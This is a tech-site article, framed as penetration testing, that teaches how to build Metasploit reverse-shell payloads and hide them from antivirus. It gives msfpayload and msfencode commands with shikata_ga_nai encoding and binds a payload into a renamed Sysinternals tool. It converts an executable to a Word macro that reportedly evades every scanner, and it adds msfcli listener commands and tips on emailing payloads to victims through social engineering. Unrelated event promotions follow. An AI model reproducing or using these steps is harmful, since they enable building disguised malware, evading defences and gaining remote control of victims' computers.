Cloud Security Authors: Elizabeth White, John Katrick, Pat Romanski, Rostyslav Demush, Yeshim Deniz

Related Topics: Cloud Security, Microservices Expo, Machine Learning , Apache

Cloud Security: Article

Performing a Penetration Test on a Customer’s Network

How to Hide a Malicious File from Virus Scanners

When performing a penetration test on a customer’s network by simulating an attack and trying to find a way inside many forget there is an easier way. Many networks have well established security protection through firewalls, Intrusion Detections/ Protections Systems that will alert to your presents. Performing a vulnerability scan using tools such as NeXpose, Nessus, nmap, etc will alert many systems. By performing some research on the target and learn what the company does you can narrow your attack. By using some social engineering you can email your payload to an inspecting victim at the company that will allow you to establish a foothold thereby allowing you to further exploit their network. This can be accomplished by using the Metasploit binary payloads with Shikata-ga_nai encoding scheme.

Metasploit Antivirus Bypass
When making plans to email or deliver your payload make sure it can evade detection by antivirus software. If your target gets alerted that something is not quite right then your payload will be compromised and not be delivered. Most antivirus software vendors use a signature base to identify types of malicious code. The antivirus software engine that runs on the client machine has this signature loaded and will be alerted when it finds a match such as quarantine the binary or kill the running process.

To avoid antivirus you can devise different payloads to run on systems protected by antivirus software that will not match the available signatures. To create stand-alone binaries use Metasploit msfpayload option and encode it with the msfencode option. Msfpayload allows you to generate shellcode, executables, and more for use outside the framework. To see a list of options use the msfpayload –h at the command line and to see a list of available shellcode to be customized for your specific exploit use the msfpayload -l. Msfencode allows you to help avoid bad characters and evade antivirus and IDSs by encoding the original payload in a way that does not include “bad” characters. To see a list of options use the msfencode –h at the command line. To view which encoders are available run the msfencode –l command.

# msfpayload –h

Help banner “options”


# msfpayload –l

Shows a number of different shell code that are available.


# msfencode –h

Help banner “shows available options”


# mdsfencode –l

Available encoders

Before we encode our payload to bypass antivirus detections we need to create a stand-alone binary with msfpayload. This requires us to create a simple reverse shell that connects back to us and spawn a command shell. If our target is a windows box then we can narrow down our list of available payloads with msfpayload –l |grep windows command. This will give us a list of payloads that are specific to windows operating systems. We are going to use the windows meterpreter reverse_tcp payload, see Figure #1.

Figure #1 # msfpayload –l grep windows

Now we selected the windows/meterpreter/reverse_tcp which will connect back to the attacker, inject the meterpreter server DLL via the reflective Dll injection payload (highlight in Figure #1). By using the command-line argument “O” with the payload we selected [windows/meterpreter/reverse_tcp], we get all the available configurable options (see Figure #2).

Figure #2 using the ‘O’ command-line argument to view configurable options

We can configure the three options with this payload:



Default setting: process



The listen address (you)



Default setting: 4444


Now we need to create the executable with the following:

# msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=4444 X /root/Desktop/evi1.exe

All that’s left is to deliver the executable to our victim, which requires some skill in itself to not be caught.

In order for us to take advantage of the victim running our executable we need to have a listener running on our attack machine. This is done with the msfcli which provides a powerful command-line interface to the framework. To view further options with the command use msfcli –h for a list. To listen for our victim running our executable use the following command within msfcli # msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost= lport=4444 E

This will open up a listener on our machine over port 4444 and once our victim runs the executable we will have a meterpreter shell on the windows box, see Figure #3.

Figure #3 msfcli multi/handler options (above) & executing the listener (below)

Now we see how metasploit can deliver us a shell on a victim windows box, let’s try and avoid anti-virus with using the msfencode options. First lets go ahead and upload our the results from our previous example to virus total and see how many anti-virus vendors hit on our exploit (see Figure #3). There are many vendors that have hit on our exploit. Now we will use msfencode to try and get past our anti-virus vendors. This is done using raw output of msfpayload and pipe that as input to msfencode using the “shikata ga nai” encoder which translated means “nothing can be done” in Japanese, then it will output as a windows binary.

# msfpayload windows/shell_reverse_tcp LHOST= LPORT=4444 R | msfencode –e x86/shikata_ga_nai –t exe > /root/Desktop/evil.exe

This is using the msfpayload of ‘windows/shell_reverse_tcp’ and giving our ip address and port that we will be listening on and encoding with shikata_ga_nai. We can upload this executable to virus total and see how many anti-virus vendors hit on this (see Figure #4).

Figure #4 27 hits by anti-virus vendors

The results are not good and we have many hits by various anti-virus vendors, so the likelihood that our victim will not be alerted by anti-virus is slim to none. Let’s try another way. Some anti-virus vendors work on signature-based technology and our payload ‘shell_reverse_tcp’ shows up right away. We will use the msfpayload ‘windows/shell/reverse_tcp’ instead of ‘windows/shell_reverse_tcp’ and try and get by some of the AV vendors. (See Figure #4)

# msfpayload windows/shell/reverse_tcp LHOST= LPORT=4444 R | msfencode –t exe –x /root/Desktop/pslist.exe –o /root/Desktop/pslist2.exe –e x86/shikata_ga_nai –c 10


Now this time with the msfencode we took an executable from the sysinternals site called pslist.exe and encoded 10 times with ‘shikata_ga_nai’. Now our payload is combined with the sysinternal tool pslist.exe and renamed pslist2.exe. Now when we upload this to virus total we have only improved our hits from 22 vendors recording our exploit to 21, an improvement but not much better (see Figure #5).

Figure #5 From 22 vendors showing finding it to 21 vendors


Symantec anti-virus was not alerted on both of our previous tries, a vendor that is used to protect the DoD environment. If we were able to get through our victims various layers of security and someone from the company happened to open our executable we need to have our listener running. Now let’s run our msfcli command to listen for our incoming connection.

# msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST= LPORT=4444 E (See Figure #6)

Figure #6 msfcli listening for a connection from our victim

Once our victim opens our executable we have a shell on our linux box with admin privileges on their windows box. The result will look similar to Figure #9.

VBScript Infection
Now trying to get a target to run your executable is very hard as many email servers will strip out executables. There is another way to deliver our payload by including it in a word document. Word documents are very commonly moved around by email and opened by many people. This would be a great attack vector to take advantage of. Metasploit has some built in methods to infect Word documents with malicious Metasploit payloads like the ones created above. We just need to incorporate them into our Word document. For us to complete this task we need to create a VBScript payload.

# msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=4444 ENCODING=shikata_ga_nai X > evi1payload.exe

Now we need to convert this executable to a VBScript using a script found in the tools section of metasploit. Just copy our evi1payload.exe to the tools folder.

# cp /opt/framework3/msf3/evilpayload.exe /opt/framework3/msf3/tools


Inside the tools folder you will find a script called ‘exe2vba.rb’ and just issue the following command to convert our exe to a vbs.

# ruby exe2vba.rb evilpayload.exe evi1_payload.vbs

Now copy our evil_payload.vbs to a Windows machine that has Microsoft Word installed. Open up your evil_payload.vbs with notepad and open up a blank Microsoft Word document. In Microsoft Word go to tools, Macros, Visual Basic Editor for Microsoft Word 2003 or go to View Macros if you are using Microsoft Word 2010. Then copy the first portion of the evil_payload.vbs, from ‘Sub Auto_Open()’ to ‘End Sub’ and paste that into the Visual Basic Editor inside either Microsoft Word 2003 or 2007 (see Figure #7).

Figure #7 First portion of evi1_payload.vbs in Visual Basic Editor

Then copy the portion from ‘PAYLOAD DATA’ to the end into the body of the word document.

To verify that this word document can get past anti-virus vendor lets upload to Virus Total https://www.virustotal.com/index.html and see if it catches anything (see Figure #8).

Figure 8 Virus Total comes back with no hits.

It got completely by all anti-virus vendors. The only hard part will be getting the victim to open up the document. This can be accomplished several ways and I have written an article ‘Recon Tools’ in Admin issue #5 page 10 that goes into better detail about acquiring target information. Once you have delivered the Word document to your intended victim make sure you have the metasploit client listener up and running on your attack machine.

# msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST= LPORT=4444 E

(see Figure #9)

Figure #9 msfcli listener followed by the meterpreter shell

This is what the victim will see when they open the word document (see Figure #10).

Figure #10 What the victim will see once they open the Word document

More Stories By David Dodd

David J. Dodd is currently in the United States and holds a current 'Top Secret' DoD Clearance and is available for consulting on various Information Assurance projects. A former U.S. Marine with Avionics background in Electronic Countermeasures Systems. David has given talks at the San Diego Regional Security Conference and SDISSA, is a member of InfraGard, and contributes to Secure our eCity http://securingourecity.org. He works for Xerox as Information Security Officer City of San Diego & pbnetworks Inc. http://pbnetworks.net a Service Disabled Veteran Owned Small Business (SDVOSB) located in San Diego, CA and can be contacted by emailing: dave at pbnetworks.net.

@ThingsExpo Stories
Enterprises have taken advantage of IoT to achieve important revenue and cost advantages. What is less apparent is how incumbent enterprises operating at scale have, following success with IoT, built analytic, operations management and software development capabilities - ranging from autonomous vehicles to manageable robotics installations. They have embraced these capabilities as if they were Silicon Valley startups.
Poor data quality and analytics drive down business value. In fact, Gartner estimated that the average financial impact of poor data quality on organizations is $9.7 million per year. But bad data is much more than a cost center. By eroding trust in information, analytics and the business decisions based on these, it is a serious impediment to digital transformation.
The standardization of container runtimes and images has sparked the creation of an almost overwhelming number of new open source projects that build on and otherwise work with these specifications. Of course, there's Kubernetes, which orchestrates and manages collections of containers. It was one of the first and best-known examples of projects that make containers truly useful for production use. However, more recently, the container ecosystem has truly exploded. A service mesh like Istio addr...
Predicting the future has never been more challenging - not because of the lack of data but because of the flood of ungoverned and risk laden information. Microsoft states that 2.5 exabytes of data are created every day. Expectations and reliance on data are being pushed to the limits, as demands around hybrid options continue to grow.
Business professionals no longer wonder if they'll migrate to the cloud; it's now a matter of when. The cloud environment has proved to be a major force in transitioning to an agile business model that enables quick decisions and fast implementation that solidify customer relationships. And when the cloud is combined with the power of cognitive computing, it drives innovation and transformation that achieves astounding competitive advantage.
As IoT continues to increase momentum, so does the associated risk. Secure Device Lifecycle Management (DLM) is ranked as one of the most important technology areas of IoT. Driving this trend is the realization that secure support for IoT devices provides companies the ability to deliver high-quality, reliable, secure offerings faster, create new revenue streams, and reduce support costs, all while building a competitive advantage in their markets. In this session, we will use customer use cases...
Digital Transformation: Preparing Cloud & IoT Security for the Age of Artificial Intelligence. As automation and artificial intelligence (AI) power solution development and delivery, many businesses need to build backend cloud capabilities. Well-poised organizations, marketing smart devices with AI and BlockChain capabilities prepare to refine compliance and regulatory capabilities in 2018. Volumes of health, financial, technical and privacy data, along with tightening compliance requirements by...
The best way to leverage your Cloud Expo presence as a sponsor and exhibitor is to plan your news announcements around our events. The press covering Cloud Expo and @ThingsExpo will have access to these releases and will amplify your news announcements. More than two dozen Cloud companies either set deals at our shows or have announced their mergers and acquisitions at Cloud Expo. Product announcements during our show provide your company with the most reach through our targeted audiences.
DevOpsSummit New York 2018, colocated with CloudEXPO | DXWorldEXPO New York 2018 will be held November 11-13, 2018, in New York City. Digital Transformation (DX) is a major focus with the introduction of DXWorldEXPO within the program. Successful transformation requires a laser focus on being data-driven and on using all the tools available that enable transformation if they plan to survive over the long term. A total of 88% of Fortune 500 companies from a generation ago are now out of bus...
With 10 simultaneous tracks, keynotes, general sessions and targeted breakout classes, @CloudEXPO and DXWorldEXPO are two of the most important technology events of the year. Since its launch over eight years ago, @CloudEXPO and DXWorldEXPO have presented a rock star faculty as well as showcased hundreds of sponsors and exhibitors! In this blog post, we provide 7 tips on how, as part of our world-class faculty, you can deliver one of the most popular sessions at our events. But before reading...
DXWordEXPO New York 2018, colocated with CloudEXPO New York 2018 will be held November 11-13, 2018, in New York City and will bring together Cloud Computing, FinTech and Blockchain, Digital Transformation, Big Data, Internet of Things, DevOps, AI, Machine Learning and WebRTC to one location.
DXWorldEXPO LLC announced today that ICOHOLDER named "Media Sponsor" of Miami Blockchain Event by FinTechEXPO. ICOHOLDER give you detailed information and help the community to invest in the trusty projects. Miami Blockchain Event by FinTechEXPO has opened its Call for Papers. The two-day event will present 20 top Blockchain experts. All speaking inquiries which covers the following information can be submitted by email to [email protected] Miami Blockchain Event by FinTechEXPO also offers s...
DXWorldEXPO | CloudEXPO are the world's most influential, independent events where Cloud Computing was coined and where technology buyers and vendors meet to experience and discuss the big picture of Digital Transformation and all of the strategies, tactics, and tools they need to realize their goals. Sponsors of DXWorldEXPO | CloudEXPO benefit from unmatched branding, profile building and lead generation opportunities.
Dion Hinchcliffe is an internationally recognized digital expert, bestselling book author, frequent keynote speaker, analyst, futurist, and transformation expert based in Washington, DC. He is currently Chief Strategy Officer at the industry-leading digital strategy and online community solutions firm, 7Summits.
Digital Transformation and Disruption, Amazon Style - What You Can Learn. Chris Kocher is a co-founder of Grey Heron, a management and strategic marketing consulting firm. He has 25+ years in both strategic and hands-on operating experience helping executives and investors build revenues and shareholder value. He has consulted with over 130 companies on innovating with new business models, product strategies and monetization. Chris has held management positions at HP and Symantec in addition to ...
Cloud-enabled transformation has evolved from cost saving measure to business innovation strategy -- one that combines the cloud with cognitive capabilities to drive market disruption. Learn how you can achieve the insight and agility you need to gain a competitive advantage. Industry-acclaimed CTO and cloud expert, Shankar Kalyana presents. Only the most exceptional IBMers are appointed with the rare distinction of IBM Fellow, the highest technical honor in the company. Shankar has also receive...
The IoT Will Grow: In what might be the most obvious prediction of the decade, the IoT will continue to expand next year, with more and more devices coming online every single day. What isn’t so obvious about this prediction: where that growth will occur. The retail, healthcare, and industrial/supply chain industries will likely see the greatest growth. Forrester Research has predicted the IoT will become “the backbone” of customer value as it continues to grow. It is no surprise that retail is ...
Andrew Keys is Co-Founder of ConsenSys Enterprise. He comes to ConsenSys Enterprise with capital markets, technology and entrepreneurial experience. Previously, he worked for UBS investment bank in equities analysis. Later, he was responsible for the creation and distribution of life settlement products to hedge funds and investment banks. After, he co-founded a revenue cycle management company where he learned about Bitcoin and eventually Ethereal. Andrew's role at ConsenSys Enterprise is a mul...
DXWorldEXPO LLC announced today that "Miami Blockchain Event by FinTechEXPO" has announced that its Call for Papers is now open. The two-day event will present 20 top Blockchain experts. All speaking inquiries which covers the following information can be submitted by email to [email protected] Financial enterprises in New York City, London, Singapore, and other world financial capitals are embracing a new generation of smart, automated FinTech that eliminates many cumbersome, slow, and expe...
Cloud Expo | DXWorld Expo have announced the conference tracks for Cloud Expo 2018. Cloud Expo will be held June 5-7, 2018, at the Javits Center in New York City, and November 6-8, 2018, at the Santa Clara Convention Center, Santa Clara, CA. Digital Transformation (DX) is a major focus with the introduction of DX Expo within the program. Successful transformation requires a laser focus on being data-driven and on using all the tools available that enable transformation if they plan to survive ov...